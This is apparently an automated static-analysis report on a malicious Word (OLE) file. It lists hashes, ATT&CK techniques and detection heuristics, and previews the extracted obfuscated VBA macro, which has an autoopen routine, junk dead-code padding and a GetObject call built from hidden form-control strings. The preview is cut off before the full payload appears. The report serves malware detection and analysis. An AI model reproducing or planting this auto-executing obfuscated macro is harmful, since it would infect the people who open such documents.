Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7af8906e615fa16d…

MALICIOUS

Office (OLE)

204.1 KB Created: 2019-04-03 21:02:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: e8f7f6464ec218504fbdd56a2c00e05b SHA-1: 2f4fe248fe73b13d8c5dd250ecc619a2ec31613b SHA-256: 7af8906e615fa16dbc9068ceab0bf4633d9b957c851f62b3d7c82c95fd68ca20
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is present and configured to execute, indicating an attempt to run malicious code automatically when the document is opened. The presence of 'GetObject' calls further suggests the execution of external code or objects. The ClamAV detection confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6931222-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6931222-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23724 bytes
SHA-256: f44b97059bf4dbb5541750e42d53708909c2d0cf083b78a26dbc5cbfbb4e0fa3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aQAXAUX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iA4DAZAA"
Attribute VB_Base = "0{6B25BD22-9C99-4623-BD61-2C2FF7B9EAD8}{905F43FB-7DDE-4271-BCDF-F9FF060D1EF6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "bxA_AAx"
Attribute VB_Base = "0{8396AB1A-0A0C-41C4-A23F-2D336DBF4567}{58F599E4-3279-4C87-9DCA-3DBC78A9510A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UAAwAUA"
Function B4DxxC()
   If 719222276 = 4113042 Then
   cCxGAAD _
= 373399491 - Asc(974483300) / 563509206 / _
602623635 * 111998884 - Rnd(RCXDAo / CVar(429638769))
   dCUBXQGA = dB_AQAA + _
Int(546887863) * wxAUCcG - SwDBD_A + (95616105 * 753352500)
End If
   If 776202244 = 156789423 Then
   EDUBw1_ _
= 541993349 - Asc(871210921) / 522573167 / _
264034843 * 660681505 - Rnd(cDAAAk / CVar(967989543))
   j1AUAAB = CBAAQA + _
Int(465614167) * fCAQwUU - VkAZQGQ + (780554797 * 266939200)
End If
End Function
Sub autoopen()
VDUADAx
End Sub
Function VDUADAx()
On Error Resume Next
   If 860065393 = 497303847 Then
   lwDxQA _
= 605887667 - Asc(779106947) / 994084501 / _
972368958 * 28694341 - Rnd(wUZ_AABA / CVar(375110659))
   IkZAUAG = bQwQA_ + _
Int(924162441) * zQxAADcU - IDGDAB + (840285052 * 650638086)
End If
   If 956041707 = 80812680 Then
   OAUXAxA_ _
= 436468480 - Asc(205560270) / 581533462 / _
20647257 * 891633797 - Rnd(dABAXAA / CVar(686180320))
   XoAoAD = mABAQAUQ + _
Int(360136155) * jAAZXDGk - zwBQCo + (134540422 * 514583384)
End If
   If 819241074 = 150583035 Then
   VZBoQUc _
= 176420080 - Asc(593669658) / 717229922 / _
979495612 * 156031694 - Rnd(qkxAZA / CVar(885932327))
   JwwABXAX = YwAZAQ + _
Int(76747132) * AQA4kXA - iAAZAB + (646819924 * 659464060)
End If
Set GGDAZUAx = GetObject(iA4DAZAA.RcAZxA1.Text + bxA_AAx.wBU1U4A + iA4DAZAA.RcAZxA1.ControlTipText)
   If 938901773 = 419009523 Then
   EBcAAc _
= 824893823 - Asc(192667517) / 59813052 / _
260216089 * 64228704 - Rnd(YG4AAAG / CVar(717028555))
   lAAU_c = jAo4_UAX + _
Int(411087057) * LwDkwQA - B4wAAQ1D + (539907916 * 579717901)
End If
   If 225264589 = 705557556 Then
   RAxA1ADA _
= 667118813 - Asc(312430838) / 580152966 / _
949425436 * 891934652 - Rnd(wAQCAA / CVar(793989335))
   pxBCwAAC = I_k4BB + _
Int(318502179) * OGXQUCA - nAAQAAx + (269066312 * 172363536)
End If
If 195187 = 195187 Then
   If 903110538 = 203163801 Then
   uXXx4Zc _
= 815318205 - Asc(419138346) / 32487252 / _
344779435 * 451077846 - Rnd(wQZQAAC / CVar(299446192))
   V_cD_DA = LUGA1Ao + _
Int(135559263) * UXAAoo - TDoQ4x + (704715446 * 602930089)
End If
   If 430872103 = 672460083 Then
   ODAABc _
= 613860897 - Asc(792174377) / 168607481 / _
991250284 * 803834410 - Rnd(Lc44Ak / CVar(290914548))
   YQUkBAG = dAGAAw + _
Int(265467400) * hBAGwA - PAQ4BAQ + (751548478 * 621320211)
End If
GGDAZUAx. _
ShOwWiNdOw = iA4DAZAA.qZADAcw - iA4DAZAA.qZADAcw + iA4DAZAA.qZADAcw + iA4DAZAA.qZADAcw + iA4DAZAA.qZADAcw
   If 593514299 = 109045821 Then
   iDXDxXD _
= 859713358 - Asc(788985564) / 515069524 / _
470050502 * 744653653 - Rnd(RBAUAoA / CVar(522555622))
   JDD1CXU = rCAQQCA1 + _
Int(280452044) * o_AA4U - XGBAXZ + (883953875 * 908624931)
End If
   If 353077305 = 129647101 Then
   vQAUQBAZ _
= 833070433 - Asc(531067672) / 68802721 / _
633560649 * 302348481 - Rnd(qAXAxA / CVar(581482800))
   OAAUQAA = LUQUGADw + _
Int(357308747) * LQxAUkwA - QADAAcA + (920509862 * 753648465)
End If
   If 345112841 = 463205560 Then
   pZQAABAA _
= 355378688
... (truncated)

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